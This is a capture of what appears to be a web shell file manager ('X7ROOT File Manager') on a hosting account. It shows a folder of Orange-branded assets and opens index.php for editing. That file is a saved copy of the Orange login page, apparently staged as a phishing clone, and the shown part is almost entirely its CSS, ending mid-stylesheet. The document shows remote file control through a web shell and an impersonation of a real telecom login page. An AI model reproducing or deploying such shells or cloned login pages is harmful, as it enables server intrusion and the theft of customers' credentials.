X7ROOT File Manager
Current Path:
/home/gfecatvj/public_html/r/1/m1
home
/
gfecatvj
/
public_html
/
r
/
1
/
m1
/
📁
..
📄
HelvNeue55_W1G-1.woff
(22.95 KB)
📄
HelvNeue55_W1G-1.woff2
(18.25 KB)
📄
HelvNeue55_W1G.eot
(41.3 KB)
📄
HelvNeue55_W1G.svg
(88.61 KB)
📄
HelvNeue55_W1G.ttf
(41.05 KB)
📄
HelvNeue55_W1G.woff
(22.95 KB)
📄
HelvNeue55_W1G.woff2
(18.25 KB)
📄
HelvNeue75_W1G-1.woff
(22.78 KB)
📄
HelvNeue75_W1G-1.woff2
(18.09 KB)
📄
HelvNeue75_W1G.eot
(39.88 KB)
📄
HelvNeue75_W1G.svg
(90.3 KB)
📄
HelvNeue75_W1G.ttf
(39.64 KB)
📄
HelvNeue75_W1G.woff
(22.78 KB)
📄
HelvNeue75_W1G.woff2
(18.09 KB)
📁
__MACOSX
📄
a93edc049db4ebc2cbcc8150e6ba5cf4f87e54e9.svg
(121 B)
📄
android-chrome-144x144.png
(896 B)
📄
android-chrome-192x192.png
(908 B)
📄
android-chrome-36x36.png
(844 B)
📄
android-chrome-48x48.png
(1016 B)
📄
android-chrome-72x72.png
(814 B)
📄
android-chrome-96x96.png
(824 B)
📄
avatar.svg
(837 B)
📄
c148dbd03b1246f721c2e2c851d4325e521bc99b.svg
(106 B)
📁
char
📄
favicon-16x16.png
(156 B)
📄
favicon-194x194.png
(680 B)
📄
favicon-32x32.png
(165 B)
📄
favicon-96x96.png
(472 B)
📄
favicon.ico
(4.73 KB)
📄
icon-orange-CmGCK62q.woff
(302.1 KB)
📄
icon-orange-DBf8NVIG.woff2
(242.71 KB)
📄
index-SdUAaSso.css
(742.05 KB)
📄
index.php
(325.77 KB)
📄
logo-orange.png
(3.28 KB)
📄
orange-icons-D0YzO_qq.css
(40.15 KB)
📄
small-logo-orange.svg
(447 B)
Editing: index.php
<!DOCTYPE html><html lang="fr" data-scrapbook-source="https://login.orange.fr/" data-scrapbook-create="20250404070818665" data-scrapbook-adoptedstylesheet-0=".screen-reader-only { position: absolute; padding: 0px; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; } .hidden { display: none !important; } body.une-arche elcos-header, body.une-arche elcos-footer-zone { --body-has-arch: 1 ; } elcos-header { --mobile-phone-portrait-breakpoint: 30em; --mobile-768-breakpoint: 48em; --mobile-breakpoint: 64em; --tiny-desktop-1100-breakpoint: 68.75em; --small-desktop-1280-breakpoint: 80em; } .gp :focus-visible { outline-color: rgb(241, 110, 0) !important; } .sosh :focus-visible { outline-color: rgb(255, 255, 255) !important; } @font-face { font-family: "o-HelveticaNeue"; src: url("HelvNeue55_W1G.eot") format("embedded-opentype"), url("HelvNeue55_W1G.woff2") format("woff2"), url("HelvNeue55_W1G.woff") format("woff"), url("HelvNeue55_W1G.ttf") format("truetype"), url("HelvNeue55_W1G.svg") format("svg"); font-style: normal; font-weight: normal; font-display: swap; } @font-face { font-family: "o-HelveticaNeue"; src: url("HelvNeue75_W1G.eot") format("embedded-opentype"), url("HelvNeue75_W1G.woff2") format("woff2"), url("HelvNeue75_W1G.woff") format("woff"), url("HelvNeue75_W1G.ttf") format("truetype"), url("HelvNeue75_W1G.svg") format("svg"); font-style: normal; font-weight: bold; font-display: swap; } @font-face { font-family: "Sosh Medium"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 400; } @font-face { font-family: "Sosh Medium"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 700; } @font-face { font-family: "Sosh Bold"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 700; } .sosh * { font-family: "Sosh Medium", Arial, sans-serif; font-weight: 400; } @font-face { font-family: "elcos-embedded-icons"; src: url("") format("woff"); font-style: normal; font-weight: normal; } .icon::before, .icon::after { font-family: "elcos-embedded-icons"; font-style: normal; font-weight: normal; display: inline-block; width: 1em; text-align: center; font-variant: normal; text-transform: none; -moz-osx-font-smoothing: grayscale; } .icon::before { content: var(--icon); } .icon.after::before { content: none; } .icon.after::before { content: none; } .icon.after::after { content: var(--icon); } .icon.arrow-right { --icon: ""; } .icon.confirmation-tick { --icon: ""; } .icon.error { --icon: ""; } .icon.info { --icon: ""; } .icon.warning { --icon: ""; } .gp .icon.accessibilite { --icon: ""; } .gp .icon.accessories { --icon: ""; } .gp .icon.assistance { --icon: ""; } .gp .icon.avantage-client { --icon: ""; } .gp .icon.avatar { --icon: ""; } .gp .icon.bons-plans { --icon: ""; } .gp .icon.boutique { --icon: ""; } .gp .icon.burger { --icon: ""; } .gp .icon.bvld { --icon: ""; } .gp .icon.calendar { --icon: ""; } .gp .icon.contact { --icon: ""; } .gp .icon.contacts { --icon: ""; } .gp .icon.contrat { --icon: ""; } .gp .icon.delete { --icon: ""; } .gp .icon.equipement-tv { --icon: ""; } .gp .icon.exit { --icon: ""; } .gp .icon.facebook { --icon: ""; } .gp .icon.fibre { --icon: ""; } .gp .icon.forum { --icon: ""; } .gp .icon.instagram { --icon: ""; } .gp .icon.internet { --icon: ""; } .gp .icon.keypad { --icon: ""; } .gp .icon.link { --icon: ""; } .gp .icon.linkedin { --icon: ""; } .gp .icon.livebox { --icon: ""; } .gp .icon.livraison { --icon: ""; } .gp .icon.mail { --icon: ""; } .gp .icon.maison-protegee { --icon: ""; } .gp .icon.manette { --icon: ""; } .gp .icon.moment-de-vie { --icon: ""; } .gp .icon.musique { --icon: ""; } .gp .icon.news { --icon: ""; } .gp .icon.notification { --icon: ""; } .gp .icon.options { --icon: ""; } .gp .icon.orange-accompagne { --icon: ""; } .gp .icon.parametre { --icon: ""; } .gp .icon.parental-control { --icon: ""; } .gp .icon.payement2 { --icon: ""; } .gp .icon.payment { --icon: ""; } .gp .icon.phone-sim { --icon: ""; } .gp .icon.phone { --icon: ""; } .gp .icon.pin-geoloc { --icon: ""; } .gp .icon.pinterest { --icon: ""; } .gp .icon.replay { --icon: ""; } .gp .icon.reseaux { --icon: ""; } .gp .icon.retour { --icon: ""; } .gp .icon.search { --icon: ""; } .gp .icon.securite { --icon: ""; } .gp .icon.service5g { --icon: ""; } .gp .icon.sim { --icon: ""; } .gp .icon.svod { --icon: ""; } .gp .icon.telephone { --icon: ""; } .gp .icon.tiktok { --icon: ""; } .gp .icon.tv { --icon: ""; } .gp .icon.vod { --icon: ""; } .gp .icon.voicemail { --icon: ""; } .gp .icon.x-com { --icon: ""; } .gp .icon.youtube { --icon: ""; } .sosh .icon.aide { --icon: ""; } .sosh .icon.avatar { --icon: ""; } .sosh .icon.burger { --icon: ""; } .sosh .icon.camion { --icon: ""; } .sosh .icon.chevron-double { --icon: ""; } .sosh .icon.cloche { --icon: ""; } .sosh .icon.deconnexion { --icon: ""; } .sosh .icon.delete { --icon: ""; } .sosh .icon.double-underline { --icon: ""; } .sosh .icon.facture { --icon: ""; } .sosh .icon.sim { --icon: ""; } .icon.logo-orange-small::before { content: ""; background-image: url(""); width: 1.125em; height: 1.125em; background-repeat: no-repeat; } .button-comp { padding: 9px 20px 5px; cursor: pointer; text-decoration: none; white-space: nowrap; color: rgb(255, 255, 255); border: 2px solid rgb(255, 255, 255); background-color: rgb(0, 0, 0); font-size: inherit; font-weight: inherit; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .button-comp:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .button-comp:active { color: rgb(0, 0, 0); outline: none; background-color: rgb(255, 255, 255); } button.as-link { border: medium; background: unset; padding: 0px; font-family: inherit; } a, button.as-link { display: inline-block; clear: both; cursor: pointer; text-decoration: none; color: rgb(255, 255, 255); outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; } a.sosh, button.as-link.sosh { color: rgb(0, 0, 0); } a:focus-visible, button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; } a:hover, a:focus-visible, button.as-link:hover, button.as-link:focus-visible { text-decoration: underline; color: rgb(204, 204, 204); } a:hover.sosh, a:focus-visible.sosh, button.as-link:hover.sosh, button.as-link:focus-visible.sosh { color: rgb(0, 121, 128); text-decoration: none; font-weight: 700; } a:active, button.as-link:active { text-decoration: underline; color: rgb(241, 110, 0); } a:active.sosh, button.as-link:active.sosh { color: rgb(38, 130, 142); } a em, button.as-link em { color: rgb(255, 121, 0); font-style: normal; } a.link-icon-text { font-size: 1em; font-weight: 700; } a.link-icon-text::before { margin-right: 0.375em; vertical-align: middle; font-size: 1.875em; } i { font-style: normal; } .mobile-search-toggle:not([aria-expanded="true"]) + .morpheus-search { display: none; } .morpheus-search { font-family: "o-HelveticaNeue", Helvetica, Arial, sans-serif; color: rgb(255, 255, 255); margin: 0px; padding: 0.9375em; background: rgb(0, 0, 0); border: medium; width: 19.25em; } .morpheus-search.mobile { position: absolute; left: 0px; right: 0px; top: 100%; width: 100%; z-index: 9999; padding: 0px; } .morpheus-search form { position: relative; display: flex; align-items: center; background: rgba(255, 255, 255, 0.1); height: 2.375em; border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search form .before { pointer-events: none; position: absolute; left: 0.9375em; } .morpheus-search form .before::before { font-size: 1.0625em; } .morpheus-search form button { display: none; position: absolute; right: 0px; border: 0px; padding: 0px; width: 1.125em; height: 1.125em; cursor: pointer; background: none; color: rgb(204, 204, 204); outline: none; outline-offset: 8px !important; transition: outline-offset 0.15s ease-in-out !important; } .morpheus-search form button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 4px !important; } .morpheus-search form button[type="submit"] { right: 1.25em; } .morpheus-search form button i::before { font-size: 1.125em; } .morpheus-search form .search-input { font-family: inherit; font-size: 0.875em; background: none; border: 0px; height: 100%; width: 100%; color: rgb(255, 255, 255); outline: none !important; cursor: text; padding: 0px 0px 0px 3.35714em; } .morpheus-search form .search-input::placeholder { color: rgb(204, 204, 204); font-weight: 400; opacity: 1; } .morpheus-search form button[type="reset"], .morpheus-search form button[type="submit"] { padding: 0.4em; justify-content: center; align-items: center; } .morpheus-search form .clear[type="reset"] { display: none; } .morpheus-search form button[type="reset"] { right: 1.25em; } .morpheus-search form button[type="reset"] i { font-size: 1.25em; } .morpheus-search form button[type="reset"][aria-hidden="true"] { display: none !important; } .morpheus-search form .spotlight-hit-results { display: none; position: absolute; list-style: none; top: calc(100% + 1px); right: 0px; left: 0px; margin: 0px; padding: 0.625em 0px; z-index: 9999; border: medium; background: rgb(39, 39, 39); } .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { color: rgb(255, 255, 255); padding: 5px 15px; font-size: 16px; font-weight: 700; line-height: 22px; border-bottom: 1px solid rgb(51, 51, 51); min-height: 2.375em; display: flex; align-items: center; } @media (max-width: 64em) { .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { min-height: 3.0625em; } } .morpheus-search form .spotlight-hit-results li:first-of-type + .spotlight-hit-result { display: none; visibility: hidden; height: 0px; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result { line-height: initial; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; cursor: pointer; color: rgb(255, 255, 255); display: flex; align-items: center; min-height: 2.4375em; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result i.search.icon { position: absolute; left: 0.875em; font-size: 1.25em; pointer-events: none; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { overflow: hidden; text-overflow: ellipsis; box-sizing: border-box; vertical-align: middle; text-decoration: none; width: 100%; font-size: 1em; padding: 0.3125em 2.8125em; color: rgb(255, 255, 255); } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a em { font-weight: normal; color: inherit; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a em + span { font-weight: bold; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a img { display: block; float: left; margin-right: 0.625em; width: 2.5em; height: 3.375em; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a p { display: block; margin: 0.125em 0px; font-weight: normal; color: rgb(170, 170, 170); } .morpheus-search form .search-box-overlay { --offset-height: calc(100vh - 100%); position: absolute; left: 0px; right: 0px; background: rgb(39, 39, 39); z-index: 2; top: 100%; height: var(--offset-height); display: none; border-top: 1px solid rgb(255, 255, 255); box-sizing: border-box; } .morpheus-search:focus-within, .morpheus-search.forced-open { background: rgb(39, 39, 39); border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search:focus-within form, .morpheus-search.forced-open form { border: medium !important; } .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { display: block; position: unset; width: 1.5em; height: 1.5em; font-size: 16px; border: medium !important; outline: none !important; background: none; } .morpheus-search:focus-within form button[type="submit"], .morpheus-search:focus-within form .before, .morpheus-search.forced-open form button[type="submit"], .morpheus-search.forced-open form .before { display: none; } .morpheus-search:focus-within form .clear, .morpheus-search.forced-open form .clear { display: flex; } .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { display: block; } .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; } @media (max-width: 64em) { .morpheus-search:focus-within, .morpheus-search.forced-open { height: 3.125em; padding: 0px; margin-bottom: 1.125em; } .morpheus-search:focus-within form, .morpheus-search.forced-open form { height: 100%; width: 100%; } .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { border-right: 1px solid rgb(51, 51, 51) !important; margin: 3px 0px 3px 15px; padding-right: 15px; width: unset; height: unset; } .morpheus-search:focus-within form .close-mobile i, .morpheus-search.forced-open form .close-mobile i { outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .morpheus-search:focus-within form .close-mobile i::before, .morpheus-search.forced-open form .close-mobile i::before { transform: translate(-1px, 1px) rotate(180deg); } .morpheus-search:focus-within form .close-mobile:focus-visible i, .morpheus-search.forced-open form .close-mobile:focus-visible i { outline: rgb(241, 110, 0) solid 2px !important; outline-offset: 2px !important; } .morpheus-search:focus-within form .search-input, .morpheus-search.forced-open form .search-input { padding-left: 0.875em; padding-right: 3em; font-size: 1em; } .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { padding-top: 0px; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result { border-bottom: 1px solid rgb(51, 51, 51); min-height: 3.0625em; display: flex; align-items: center; padding: 0px; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result a, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result a { padding: 0.3125em 0.9375em 0.3125em 2.8125em !important; line-height: 1.375em; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result[data-active="true"], .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result[data-active="true"] { background: rgb(85, 85, 85); } .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; } } @media (max-width: 68.75em) { .morpheus-search { width: 15em; } } @media (max-width: 64em) { .morpheus-search { width: auto; } } @media (min-width: 64.0625em) { .morpheus-search { height: 2.875em; padding: 0px; border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search form { height: 100%; width: auto; border: 1px solid rgba(0, 0, 0, 0); } .morpheus-search form button { color: rgb(255, 255, 255); } .morpheus-search form .close-mobile { display: none; } .morpheus-search form .search-input { padding: 0.857143em 2.14286em 1em 3.35714em; } .morpheus-search form button[type="reset"] { right: 3.3125em; } .morpheus-search form .spotlight-hit-results { border: 1px solid rgb(85, 85, 85); top: 100%; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { padding: 0.4375em 0.9375em 0.625em 2.8125em; color: rgb(0, 0, 0); } .morpheus-search form .search-box-overlay { display: none !important; } .morpheus-search:focus-within { border: medium; } .morpheus-search:focus-within form { background: rgb(255, 255, 255); border-color: rgb(85, 85, 85); } .morpheus-search:focus-within form button[type="reset"], .morpheus-search:focus-within form button[type="submit"] { display: flex; color: rgb(0, 0, 0); } .morpheus-search:focus-within form .before, .morpheus-search:focus-within form .close-mobile { display: none !important; } .morpheus-search:focus-within form .search-input { padding: 0.84375em 4.5em 0.84375em 0.9375em; font-weight: 700; color: rgb(0, 0, 0); border: 1px solid rgb(85, 85, 85); } .morpheus-search:focus-within form .search-input::placeholder { color: rgb(51, 51, 51); } .morpheus-search:focus-within form .spotlight-hit-results { background-color: rgb(255, 255, 255); border: 1px solid rgb(85, 85, 85); padding-top: 0.5em; padding-bottom: 0.5em; } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-results-title { color: rgb(85, 85, 85); font-size: 0.875em; line-height: 1.25em; border: medium; } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result[data-active="true"] { background: rgb(244, 244, 244); } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result .icon.search { color: rgb(0, 0, 0); } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result a { padding: 0.3125em 2.8125em; font-size: 1em; line-height: 1.375em; } } .band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); } @media (max-width: 90em) { .band { padding: 1.25em 3.75em; } } @media (max-width: 80em) { .band { padding: 1.25em 3.4375em; } } @media (max-width: 64em) { .band { padding: 0.625em 2.9375em; } } @media (max-width: 48em) { .band { padding: 0.625em 1.6875em; } } @media (max-width: 30em) { .band { padding: 0.625em 0.9375em; } } .band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; } .band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; } .band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; } .band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); } .band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; } @keyframes overlay-in { 0% { opacity: 0; visibility: hidden; } 1% { visibility: visible; } 100% { visibility: visible; opacity: 0.5; } } @keyframes overlay-out { 0% { visibility: visible; opacity: 0.5; } 99% { visibility: visible; } 100% { visibility: hidden; opacity: 0; } } .pos-marker { position: absolute; width: 0px; height: 0px; visibility: hidden; } .overlay { position: fixed; inset: 0px; background-color: rgb(0, 0, 0); z-index: 99900; opacity: 0; visibility: hidden; animation: none; } .overlay.is-active { opacity: 0; visibility: hidden; animation: 0.3s overlay-out; } .overlay.is-active.is-shown { opacity: 0.5; visibility: visible; animation: 0.3s overlay-in; } .band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); } @media (max-width: 90em) { .band { padding: 1.25em 3.75em; } } @media (max-width: 80em) { .band { padding: 1.25em 3.4375em; } } @media (max-width: 64em) { .band { padding: 0.625em 2.9375em; } } @media (max-width: 48em) { .band { padding: 0.625em 1.6875em; } } @media (max-width: 30em) { .band { padding: 0.625em 0.9375em; } } .band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; } .band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; } .band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; } .band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); } .band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; } .layer { position: relative; } .layer .popin { right: 50%; position: absolute; top: 100%; z-index: 9998; box-shadow: rgba(0, 0, 0, 0.5) 0px 0px 5px; background: rgb(255, 255, 255); color: rgb(0, 0, 0); padding: 0.9375em; } @media (max-width: 48em) { .layer .popin { padding: 1.6875em; } } @media (max-width: 30em) { .layer .popin { padding: 0.9375em; } } .layer .popin h1 { font-size: 1.25em; font-weight: bold; margin: 0px 0px 0.625em; padding: 0px; } .layer .popin .close-button { position: absolute; top: 0.75em; right: 0.75em; cursor: pointer; background-color: rgba(0, 0, 0, 0); border: medium; font-size: 1.25em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .layer .popin .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .layer[data-state="inactive"] .popin { visibility: hidden; transform: translateX(0px); } .layer[data-state="active"] .popin { visibility: visible; transform: translateX(50%); } .layer .layer-mobile-overlay { display: none; } @media screen and (max-width: 48em) { .layer { position: static; } .layer .popin { left: 0px; right: 0px; width: auto !important; min-width: auto !important; max-width: 100000000px !important; transform: translateX(0px) !important; } .layer .layer-mobile-overlay { display: block; position: fixed; top: initial; left: 0px; right: 0px; height: 100vh; z-index: 9990; background-color: rgba(4, 4, 15, 0.4); width: auto !important; min-width: auto !important; max-width: 100000000px !important; transform: translateX(0px) !important; } } .layer.keep-right .popin { transform: translateX(calc(var(--popin-overflow-right))); } .sosh .layer .popin { box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px 0px; } .sosh .layer .popin .close-button { font-size: 1em; outline-offset: 0.25em !important; } .sosh .layer .popin .close-button:focus-visible { outline-color: rgb(222, 37, 84) !important; outline-offset: 0.0625em !important; } .side-panel { top: 0px; right: 0px; position: absolute; z-index: 999999; padding: 0px; box-shadow: none; font-size: 1em; width: 0px; height: calc(100vh - var(--top-offset, 0em)); overflow: hidden auto; background: rgb(255, 255, 255); transition: width 0.5s, visibility 0.01s linear 0.5s; visibility: hidden; } .side-panel .content-overflow-wrapper { position: absolute; left: 0px; width: 20em; min-height: 100%; } .side-panel .side-panel[data-state="inactive"] { overflow: hidden; } .side-panel[data-state="active"] { width: 20em; visibility: visible; transition: width 0.5s, visibility 0.01s linear; } @media screen and (max-width: 30em) { .side-panel.mobile-full-screen { inset: 0px auto 0px 0px; width: 100%; height: auto; opacity: 0; transition: opacity 0.5s, visibility 0.01s linear 0.5s; } .side-panel.mobile-full-screen[data-state="active"] { left: 0px; transition: opacity 0.5s, visibility 0.01s linear; opacity: 1; height: 100vh; } .side-panel.mobile-full-screen .content-overflow-wrapper { width: 100%; } } .side-panel .top-sub-links { padding-top: 1.375em; } .side-panel .top-sub-links a { color: rgb(0, 0, 0); text-decoration: underline; padding-bottom: 1.375em; } .side-panel .top-sub-links a:hover { color: rgb(85, 85, 85); } .side-panel .bottom-links a { display: flex; justify-content: center; align-items: center; } .side-panel .bottom-links a i { margin-right: 0.625em; } .side-panel .bottom-links a i::before { display: flex; } .side-panel .close-button { position: absolute; right: 0.3125em; top: 0.3125em; padding: 0.625em 0.75em; cursor: pointer; margin-left: auto; border: 0px; background: none; font-size: 1.125em; line-height: 1em; float: left; color: rgb(0, 0, 0); outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .side-panel .close-button:hover, .side-panel .close-button:focus-visible { color: rgb(85, 85, 85); } .side-panel .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .side-panel-overlay { position: absolute; top: 0px; left: 0px; display: block; width: 100%; height: 625em; z-index: 999998; background-color: rgba(4, 4, 15, 0.4); max-width: none; } .skeleton { position: unset; display: flex; overflow: hidden; background-color: rgb(38, 38, 38); margin: 10px; } .skeleton::before { content: ""; width: 100%; inset: 0px; background: linear-gradient(90deg, rgb(38, 38, 38), rgb(31, 31, 31), rgb(38, 38, 38)); transform: translateX(-100%); animation: 1.25s infinite skeleton; } .gp .skeleton { min-height: 1.875em; background-color: rgb(38, 38, 38); } .gp .skeleton::before { background: linear-gradient(90deg, rgb(38, 38, 38), rgb(31, 31, 31), rgb(38, 38, 38)); } .sosh .skeleton { min-height: 1.25em; background-color: rgb(242, 242, 242); } .sosh .skeleton::before { background: linear-gradient(90deg, rgb(242, 242, 242), rgb(235, 235, 235), rgb(242, 242, 242)); } @keyframes skeleton { 0% { transform: translateX(-100%); } 100% { transform: translateX(100%); } } .panel-button { position: relative; font-family: inherit; background-color: rgba(0, 0, 0, 0); border: 0px; display: inline-block; cursor: pointer; box-sizing: border-box; padding: 0px; text-align: center; font-size: inherit; justify-content: center; outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; } .panel-button::before { display: inline-block; } .panel-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; } .panel-button:hover, .panel-button:focus-visible { color: rgb(204, 204, 204); } .panel-button:hover i::before, .panel-button:focus-visible i::before { color: rgb(204, 204, 204); } .panel-button:active { color: rgb(241, 110, 0); } .panel-button:active i::before { color: rgb(241, 110, 0); } .gp .panel-button { font-weight: bold; color: rgb(255, 255, 255); min-height: 2.5em; min-width: 2.5em; } .gp .panel-button::before { font-size: 1.1875em; line-height: 2.10526em; min-height: 2.10526em; font-weight: 400; font-variant: normal; } @media screen and (max-width: 64em) { .gp .panel-button { min-height: 2em; min-width: 2em; } } .gp [data-state="active"] > .panel-button.has-arrow::after { border-bottom-color: rgb(255, 255, 255); } .sosh .panel-button { color: rgb(255, 255, 255); } .sosh .panel-button::before { font-size: 1.75em; } .sosh [data-state="active"] > .panel-button.has-arrow::after { border-bottom-color: rgb(222, 37, 84); } @media (max-width: 48em) { .sosh [data-state="active"] > .panel-button.has-arrow::after { bottom: -0.9375em; } } [data-state="active"] > .panel-button.has-arrow::after { content: ""; position: absolute; width: 0px; height: 0px; border-left: 6px solid rgba(0, 0, 0, 0); border-right: 6px solid rgba(0, 0, 0, 0); border-bottom-width: 6px; border-bottom-style: solid; bottom: 0px; left: calc(50% - 6px); z-index: 10000; } @media (max-width: 48em) { [data-state="active"] > .panel-button.has-arrow::after { bottom: -0.625em; } } .zema-badge { position: fixed; right: 0.125em; top: 0.125em; padding: 0.125em 0.4375em 0.125em 1.25em; border-radius: 0.625em; border: 0.125em solid rgb(255, 102, 0); color: rgb(85, 85, 85); background-color: rgb(255, 255, 255); box-shadow: rgb(85, 85, 85) 0px 0px 0.625em; pointer-events: none; font-family: Arial, sans-serif; font-size: 0.875em; z-index: 100000000; transform-origin: right bottom 0px; transform: rotate(-90deg) translate(1.3125em, -0.125em); } .zema-badge i { display: block; position: absolute; left: 0.4375em; top: calc(50% - 0.25em); color: rgb(85, 85, 85); width: 0.5em; aspect-ratio: 1 / 1; border-radius: 50%; background: rgb(255, 102, 0); box-shadow: rgb(255, 102, 0) 0px 0px 0px 0px; } .zema-badge.loading i { animation: 1s infinite emit; } .zema-badge.loaded { animation: 3s ease-in-out infinite alternate both pulse; } .zema-badge.loaded i { background: rgb(0, 221, 0); } .zema-badge.error i { animation: 0.1s ease-in-out infinite alternate both pulse; background: rgb(255, 69, 0); } @keyframes emit { 100% { box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 1.875em; } } @keyframes pulse { 0% { opacity: 0.9; } 100% { opacity: 0.2; } } .band.bandeau-recollecte { width: 100%; background-color: rgb(233, 247, 255); color: rgb(0, 0, 0); box-shadow: rgba(128, 128, 128, 0.27) 0px 0px 10px; position: relative; z-index: 10000000; display: flex; gap: 1.25em; align-items: center; } @media screen and (max-width: 48em) { .band.bandeau-recollecte { position: fixed; bottom: 0px; flex-direction: column; align-items: center; gap: 1.25em; } } .band.bandeau-recollecte .message { position: relative; display: flex; flex-direction: column; margin-top: 0px; font-size: 15px; flex-grow: 2; } @media screen and (min-width: 80em) { .band.bandeau-recollecte .message { flex-basis: 80%; } } .band.bandeau-recollecte .message h2 { display: flex; align-items: flex-start; margin-top: 0px; font-size: 16px; font-weight: bold; line-height: 20px; } .band.bandeau-recollecte .message h2 i.icon.info::before { padding-right: 10px; color: rgb(0, 183, 255); font-size: xx-large; } @media screen and (min-width: 80em) { .band.bandeau-recollecte .message h2 i.icon.info::before { left: -57px; } } .band.bandeau-recollecte .message h2 i.icon.arrow-right { display: none; } @media screen and (max-width: 48em) { .band.bandeau-recollecte .message h2 i.icon.arrow-right { display: block; } .band.bandeau-recollecte .message h2 i.icon.arrow-right::before { text-align: center; font-size: 1.25em; margin-left: auto; display: block; transform: rotate(270deg); } .band.bandeau-recollecte .message h2[aria-expanded="true"] i.icon.arrow-right::before { transform: rotate(90deg); } } .band.bandeau-recollecte .message p { line-height: 1.5; margin: 0px; display: block; } .band.bandeau-recollecte .message p.mobile-expanded { display: block; } @media screen and (max-width: 48em) { .band.bandeau-recollecte .message p { display: none; } } .band.bandeau-recollecte .message ul { padding: 1em 0px 0px; display: flex; flex-direction: row; justify-content: flex-start; margin: 0px; } @media (max-width: 48em) { .band.bandeau-recollecte .message ul { flex-direction: column; } } .band.bandeau-recollecte .message ul li { margin-left: 1.25em; 